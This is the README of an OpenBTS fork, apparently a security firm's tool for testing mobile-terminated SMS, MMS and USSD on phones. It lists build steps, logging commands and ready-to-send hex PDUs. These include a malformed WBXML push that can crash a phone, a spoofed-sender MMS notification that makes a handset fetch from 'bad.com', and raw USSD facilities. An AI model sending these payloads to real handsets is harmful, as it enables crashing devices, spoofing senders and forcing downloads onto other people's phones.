OpenBTS

OpenBTS fork with a few extras for SMS/MMS/USSD testing. Ensure you have a GSM licence first. https://www.contextis.com/resources/blog/binary-sms-old-backdoor-your-new-thing/

MT SMS/MMS with custom TPDUs
MT USSD with custom facilities

This took months to get right. GSM is ridiculously complicated but stubborn persistence, wireshark and ignorance pays off eventually... The scripts we use to send SMS, MMS & USSD PDUs are not included.

Setup

http://openbts.org/w/index.php?title=BuildInstallRun

git clone https://github.com/RangeNetworks/dev.git
cd dev
./clone.sh
./switchto.sh master
./build.sh B200
rm -rf openbts
git clone https://github.com/ctxis/openbts.git
cd openbts
make

Logging

Run wireshark on loopback with filter 'gsm_sms'

OpenBTS> rawconfig.GSMTAP.TargetIP 127.0.0.1
OpenBTS> rawconfig Control.GSMTAP.GSM 1

Also enable SMS logging then tail logs:

OpenBTS> rawconfig Log.Level.L3SMSControl.cpp DEBUG
tail -f /var/log/OpenBTS.log | grep -i SMS

Mobile Terminated SMS

Hello from 12345

OpenBTS> rawconfig SMS.MIMEType text/plain
OpenBTS> sendsms 23415914952xxxx 12345 Hello

Multipart 8-bit WSP Push with UDH header and (malformed) WBXML

Header is a Lebara WBXML config message but body is garbage. This could crash your phone.

OpenBTS> rawconfig SMS.UDHI 1
OpenBTS> rawconfig SMS.DCS 4
OpenBTS> rawconfig SMS.MIMEType application/vnd.3gpp.sms
SMS.MIMEType changed from "text/plain" to "application/vnd.3gpp.sms"
OpenBTS> sendsms 2341591721xxxx 12345 0B05040B8423F00003AA02017468697320697320612074657374206f6620636f6e636174656e617465642062696e61727920534d532077697468206120554448206865616465722e20496620796f752063616e207265616420746869
OpenBTS> sendsms 23415917212xxxx 12345 0B05040B8423F00003AA02027320796f752070726f6261626c792077616e7420746f206368616e67652074686520706f7274206e756d62657273206e6f7720616e6420646f20736f6d657468696e67206e61737479

Notify MMS, 8-bit, .vcf contact card with UDH header and spoofed originator

This will trigger a download from http://bad.com/x.php if you have mobile data on. WiFi doesn't count. You can DL MMS Multimedia from anywhere on the internet which is dangerous/great! A .mms file download needs to be specially formatted but this is beyond the scope of OpenBTS.

OpenBTS> sendsms 23415917212xxxx 12345 0B05040B8423F000039001010f0603beaf848c8298393039303930008d908919802b31323334352f545950453d504c4d4e008a808e0201d888058103ffffff83687474703a2f2f6261642e636f6d2f782e7068703f393039303930009580

Mobile Terminated USSD

Normally USSD codes like *#100# are used from the MS (Mobile originated / MO) but they can come from the network (MT). They're used by disaster warning systems and third world banking apps. A notify facility (0x3d) creates a pop-up msg, a request facility (0x3c) creates a pop-up form which returns the response as a notify. Custom facilities implemented by networks get parsed in the background without prompting the user making this a powerful and little known remote control protocol.

USSD Wireshark filter:

gsmtap.chan_type == 7 && !icmp

"Godzilla! run for your lives!" notify facility

sendss 23415917212xxxx "Godzilla! run for your lives!" 0

"Godzilla! run for your lives!" as a raw facility including headers

OpenBTS> sendss 23415917212xxxx a12a02013702013d30220401ff041d476f647a696c6c612c2072756e20666f7220796f7572206c6976657321 1

0x7678/openbts-rev